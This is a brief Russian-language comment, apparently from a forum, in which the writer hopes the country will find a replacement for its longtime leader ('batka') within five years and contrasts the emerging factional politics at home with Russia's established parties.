Чз пять надеюсь страна родит замену батьке нашему, а то у нас фракционная деятельность только-только зарождается.
Не то что в России — KПРФ, ЛДПР,Ялоко, Единая Россия и тд